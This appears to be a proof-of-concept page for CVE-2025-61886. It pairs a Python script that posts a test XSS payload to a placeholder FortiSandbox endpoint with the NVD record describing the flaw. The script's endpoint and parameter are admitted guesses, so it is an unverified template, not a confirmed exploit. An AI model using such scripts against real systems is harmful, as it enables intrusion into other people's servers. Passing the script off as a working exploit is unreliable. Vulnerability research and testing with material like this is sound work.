CVE-2025-61886

import requests # Target URL (Example) # Replace with the actual vulnerable endpoint target_url = "http://target-fortisandbox/vulnerable_endpoint" # Malicious XSS Payload # This payload attempts to execute JavaScript to show an alert box payload = '<script>alert("CVE-2025-61886 XSS Test")</script>' # Headers to mimic a legitimate browser request headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } # Data to be sent in the request # The parameter name 'vulnerable_param' is hypothetical and needs to be fuzzed or found in documentation data = { "vulnerable_param": payload } try: # Sending the crafted HTTP request response = requests.post(target_url, data=data, headers=headers, timeout=10) # Check if the request was successful if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check the target application page or response to verify XSS execution.") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2025-61886", "sourceIdentifier": "[email protected]", "published": "2026-04-14T16:16:31.800", "lastModified": "2026-04-22T19:09:04.987", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability [CWE-79] vulnerability in Fortinet FortiSandbox 5.0.0 through 5.0.4, FortiSandbox PaaS 5.0.0 through 5.0.4 may allow an attacker to perform an XSS attack via crafted HTTP requests."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortisandbox:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.0", "versionEndExcluding": "5.0.5", "matchCriteriaId": "EF408E96-79E8-452F-87E5-2E8CA083785E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortisandbox_cloud:5.0.4:*:*:*:*:*:*:*", "matchCriteriaId": "E5E86B19-95E8-4107-85DC-EFE47225418C"}]}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-26-109", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}